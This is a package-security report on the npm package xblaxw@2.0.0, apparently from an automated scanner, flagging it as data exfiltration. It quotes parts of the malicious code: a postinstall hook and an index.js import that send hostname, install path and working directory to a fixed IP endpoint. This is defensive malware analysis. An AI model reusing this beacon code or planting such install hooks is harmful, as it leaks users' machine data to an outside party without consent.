registry / Data exfiltration / xblaxw

xblaxw

Compatibility shim.

This report shows the evidence for xblaxw@2.0.0. 7 of 8 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 14d ago · by lpm-firewall-ai

The package automatically transmits host and project path metadata to an unrelated fixed endpoint during installation, and importing its entry point repeats the transmission. This supports blocking it as active data exfiltration.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Package installation or importing index.js.

Impact

Exposes machine and project location metadata to the endpoint operator.

Mechanism

beacon.cjs posts package name, hostname, install path, working directory, and npm version over HTTP.

Attack narrative

During postinstall, beacon.cjs collects the host name and install and working directory paths, then posts them to a fixed plaintext HTTP endpoint. Importing index.js triggers the same beacon. This is active metadata exfiltration, not an inert payload carrier.

AI rationale

Evidence

package.jsonbeacon.cjsindex.js

Network endpoints1

185.158.107.175:8787/_ah/dc

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall hook runs beacon.cjs automatically.
The beacon sends hostname, install path, working directory, and npm version to a fixed external HTTP endpoint.
Importing the main module also fires the beacon.

Evidence against

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.27 KB of source, external domains: 185.158.107.175

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node beacon.cjs"

High

Suspicious Lifecycle Evidence

The postinstall hook runs beacon.cjs automatically.

package.jsonView on unpkg · L5

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "xblaxw"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

beacon.cjsView on unpkg · L3

•matchType = malicious_source_fingerprint_signature signature = a5258e167635ba3a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = testrrrd@1.0.0 matchedPath = beacon.cjs matchedIdentity = npm:dGVzdHJycmQ:1.0.0 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.cjsView on unpkg

26var payload = { package: PKG, hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), installPath: __dirname, cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(), userAgent: 'npm/' + (process.version || ''),

High

Ai Review Evidence

The beacon sends hostname, install path, working directory, and npm version to a fixed external HTTP endpoint.

beacon.cjsView on unpkg · L26

4var BEACON = "http://185.158.107.175:8787/_ah/dc"; var PKG = "xblaxw"; function _post(payload) { return new Promise(function (resolve) { try { var u

High

Ai Review Evidence

The beacon sends hostname, install path, working directory, and npm version to a fixed external HTTP endpoint.

beacon.cjsView on unpkg · L4

21req.write(data); req.end(); } catch (e) { resolve(); } }); } function fire() { var payload = { package: PKG, hostn

High

Ai Review Evidence

The beacon sends hostname, install path, working directory, and npm version to a fixed external HTTP endpoint.

beacon.cjsView on unpkg · L21

index.jsView file

4try { require('./beacon.cjs').fire(); } catch (e) {} // Export a defensive Proxy: any property acces

High

Ai Review Evidence

Importing the main module also fires the beacon.

index.jsView on unpkg · L4

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node beacon.cjs"

High

Suspicious Lifecycle Evidence

The postinstall hook runs beacon.cjs automatically.

package.jsonView on unpkg · L5

beacon.cjsView file

Findings

8 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationbeacon.cjs

HighKnown Malware Source Fingerprint Signaturebeacon.cjs

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.cjs

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to xblaxw@2.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing xblaxw@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-09 02:45:56.234Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

8 known versions

2.0.0latestshownMaliciousData ExfiltrationBlockPublishedOct 8, 2026, 8:49 PM 2.0.1MaliciousData ExfiltrationBlockPublishedOct 8, 2026, 8:48 PM 99.0.1MaliciousData ExfiltrationBlockPublishedOct 8, 2026, 8:47 PM 3.0.0MaliciousData ExfiltrationBlockPublishedOct 8, 2026, 8:47 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other data exfiltration packages